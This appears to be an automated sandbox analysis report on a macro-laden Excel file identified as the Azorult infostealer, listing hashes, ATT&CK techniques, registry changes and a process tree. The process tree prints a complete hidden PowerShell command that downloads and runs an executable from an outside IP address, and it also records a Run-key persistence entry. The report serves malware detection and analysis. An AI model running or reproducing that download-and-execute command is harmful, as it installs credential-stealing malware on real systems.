azorult | b18796fe4a4cf8e20e1a54ec3773c819533cb15a545093d1c6e19ce14efaa93d

Resubmissions

11/06/2024, 09:20

240611-la58ha1hnf 10

11/06/2024, 09:18

240611-k9pt5a1hke 10

31/05/2024, 08:15

240531-j5p4nach79 10

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
31/05/2024, 08:15

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General

Target

Copy0761000025.xlsm
Size

430KB
MD5

d01710a02c214a5f6e0197fd291c0b10
SHA1

3b2ed35df644d1684660543c56370dc8686e1a53
SHA256

b18796fe4a4cf8e20e1a54ec3773c819533cb15a545093d1c6e19ce14efaa93d
SHA512

45abdcf42ec483103948e2882bd8187e98ae44af425bdad5f0b1f17b99b336e80acc322c419fdab5cbc8f601993359a0e383c14927a286200c70c1044850e9e5
SSDEEP

12288:7fEXQu7SHOCZhSTIS2dGpeWpqivD1YxR25O8UM:7VwarmMSAGMID1R5OtM

Score

10^/10

azorult execution infostealer persistence trojan

Malware Config

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2152	3964	powershell.exe	81

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	2152	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2152	powershell.exe
2152	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
736	tmp4788.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Findo = "C:\\Users\\Admin\\AppData\\Roaming\\Findo.exe"	tmp4788.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 736 set thread context of 3744	736	tmp4788.exe	96

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3964	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2152	powershell.exe
2152	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2152	powershell.exe
Token: SeDebugPrivilege	736	tmp4788.exe
Token: SeDebugPrivilege	736	tmp4788.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
3964	EXCEL.EXE
3964	EXCEL.EXE
3964	EXCEL.EXE
3964	EXCEL.EXE
3964	EXCEL.EXE
3964	EXCEL.EXE
3964	EXCEL.EXE
3964	EXCEL.EXE
3964	EXCEL.EXE
3964	EXCEL.EXE
3964	EXCEL.EXE
3964	EXCEL.EXE
3964	EXCEL.EXE
3964	EXCEL.EXE

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3964 wrote to memory of 2152	3964	EXCEL.EXE	86
PID 3964 wrote to memory of 2152	3964	EXCEL.EXE	86
PID 2152 wrote to memory of 736	2152	powershell.exe	91
PID 2152 wrote to memory of 736	2152	powershell.exe	91
PID 2152 wrote to memory of 736	2152	powershell.exe	91
PID 736 wrote to memory of 3744	736	tmp4788.exe	96
PID 736 wrote to memory of 3744	736	tmp4788.exe	96
PID 736 wrote to memory of 3744	736	tmp4788.exe	96
PID 736 wrote to memory of 3744	736	tmp4788.exe	96
PID 736 wrote to memory of 3744	736	tmp4788.exe	96
PID 736 wrote to memory of 3744	736	tmp4788.exe	96
PID 736 wrote to memory of 3744	736	tmp4788.exe	96
PID 736 wrote to memory of 3744	736	tmp4788.exe	96
PID 736 wrote to memory of 3744	736	tmp4788.exe	96

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Copy0761000025.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://185.205.187.173/xd/Copy0761000025pdf.exe" -OutFile $TempFile; Start-Process $TempFile;
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Users\Admin\AppData\Local\Temp\tmp4788.exe
    "C:\Users\Admin\AppData\Local\Temp\tmp4788.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:736
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:3744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yosclegy.pxp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp4788.exe

Filesize
195KB

MD5
0089e341efa862f22d3af9894d1c5448

SHA1
4d55c851eccec68786c88b064bcf35c1233393f3

SHA256
bfc1cdded42adb884fb46ba53e2f023d0c27d46cf8645614094f5714ebbfb9a8

SHA512
ea2c3b6cd6759b11017c58f7948d04fbafc96474190ca2162ff2486dddcd4fc83074ffd055a3367bb783475787cecb6401248344eb0cec787ef7b5dd7fb96ad4

Download Submit
memory/736-116-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-104-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-4956-0x0000000005840000-0x0000000005894000-memory.dmp

Filesize
336KB

Download
memory/736-4955-0x00000000057D0000-0x000000000581C000-memory.dmp

Filesize
304KB

Download
memory/736-86-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-4954-0x0000000005480000-0x00000000054E6000-memory.dmp

Filesize
408KB

Download
memory/736-88-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-90-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-92-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-96-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-98-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-102-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-106-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-108-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-110-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-78-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-112-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-70-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-114-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-72-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-119-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-74-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-59-0x00000000001E0000-0x0000000000212000-memory.dmp

Filesize
200KB

Download
memory/736-60-0x0000000005B50000-0x0000000005D7A000-memory.dmp

Filesize
2.2MB

Download
memory/736-61-0x0000000006330000-0x00000000068D4000-memory.dmp

Filesize
5.6MB

Download
memory/736-62-0x0000000005E70000-0x0000000005F02000-memory.dmp

Filesize
584KB

Download
memory/736-63-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-68-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-76-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-66-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-64-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-100-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-84-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-94-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-82-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/736-80-0x0000000005B50000-0x0000000005D73000-memory.dmp

Filesize
2.1MB

Download
memory/2152-58-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

Filesize
2.0MB

Download
memory/2152-32-0x000001F045E20000-0x000001F045E42000-memory.dmp

Filesize
136KB

Download
memory/2152-31-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

Filesize
2.0MB

Download
memory/3964-30-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

Filesize
2.0MB

Download
memory/3964-6-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

Filesize
2.0MB

Download
memory/3964-5-0x00007FFAFA22D000-0x00007FFAFA22E000-memory.dmp

Filesize
4KB

Download
memory/3964-3-0x00007FFABA210000-0x00007FFABA220000-memory.dmp

Filesize
64KB

Download
memory/3964-2-0x00007FFABA210000-0x00007FFABA220000-memory.dmp

Filesize
64KB

Download
memory/3964-4-0x00007FFABA210000-0x00007FFABA220000-memory.dmp

Filesize
64KB

Download
memory/3964-29-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

Filesize
2.0MB

Download
memory/3964-16-0x00007FFAB79D0000-0x00007FFAB79E0000-memory.dmp

Filesize
64KB

Download
memory/3964-14-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

Filesize
2.0MB

Download
memory/3964-15-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

Filesize
2.0MB

Download
memory/3964-11-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

Filesize
2.0MB

Download
memory/3964-13-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

Filesize
2.0MB

Download
memory/3964-12-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

Filesize
2.0MB

Download
memory/3964-10-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

Filesize
2.0MB

Download
memory/3964-9-0x00007FFAB79D0000-0x00007FFAB79E0000-memory.dmp

Filesize
64KB

Download
memory/3964-0-0x00007FFABA210000-0x00007FFABA220000-memory.dmp

Filesize
64KB

Download
memory/3964-1-0x00007FFABA210000-0x00007FFABA220000-memory.dmp

Filesize
64KB

Download
memory/3964-8-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

Filesize
2.0MB

Download
memory/3964-7-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

Filesize
2.0MB

Download
memory/3964-4971-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

Filesize
2.0MB

Download
memory/3964-4992-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

Filesize
2.0MB

Download